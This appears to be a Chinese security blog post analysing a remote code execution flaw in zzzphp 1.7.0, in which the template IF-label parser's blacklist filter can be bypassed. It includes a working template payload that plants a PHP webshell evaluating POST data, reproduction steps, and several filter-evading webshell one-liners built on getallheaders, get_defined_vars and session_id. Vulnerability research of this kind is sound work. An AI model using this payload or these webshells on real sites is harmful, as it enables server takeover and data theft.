zzzphp1.7.0远程代码执行
漏洞原因
str_ireplace函数缺陷无法有效过滤危险参数
漏洞复现
payload
{if:1)file_put_contents(str_replace('*','','osword.pphphp'),str_replace('*','','<?pphphp evevalal(ggetet_defined_vars()[_PPOSTOST][1]);'));//}{end if}
进入后台,在模板管理->cn2016->html->search.html,添加payload
访问http://127.0.0.1/search后在seach文件夹下生成osword.php
漏洞分析
zzz_client.php第56行开始模板解析操作
getlocation()解析url,并进入case操作选择初始模板文件
/var/www/html/cms/zzzphp/template/pc/cn2016/html/search.html
调用ParserTemplate类解析模板文件search.html文件
第2344行parseIfLabel函数解析IF标签,且存在危险函数eval。danger_key方法过滤危险字符
过滤了关键的’$’
function danger_key( $s , $len=255) {
$danger=array('php','preg','server','chr','decode','html','md5','post','get','cookie','session','sql','del','encrypt','upload','db','$','system','exec','shell','popen','eval');
$s = str_ireplace($danger,"*",$s);
return $s;
}
由于最后进入eval执行,可以调用str_replace将*
替换为空字符,然而要执行传入的数据$无法添加,可以使用get_defined_vars()
调用_GET
数组
preg_match_all
,第四个参数默认为PREG_PATTERN_ORDER
,会将matches划分为多维数组
PREG_PATTERN_ORDER
结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
"<b>example: </b><div align=left>this is a test</div>",
$out, PREG_PATTERN_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>
以上例程会输出:
<b>example: </b>, <div align=left>this is a test</div>
example: , this is a test
get_defined_vars()与getallheaders() shell
环境 | 函数 | 用法 |
---|---|---|
nginx | get_defined_vars() |
返回由所有已定义变量所组成的数组 |
apache | getallheaders() |
获取全部 HTTP 请求头信息 |
apache环境
<?php
eval(next(getallheaders()));
?>
apache和nginx环境通用
<?php
eval(implode(reset(get_defined_vars())));
?>
<?php
eval(hex2bin(session_id(session_start())));
?>
In [6]: 'phpinfo();'.encode('hex')
Out[6]: '706870696e666f28293b'
过滤$
<?php eval(get_defined_vars()['_GET']['cmd']);?>
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!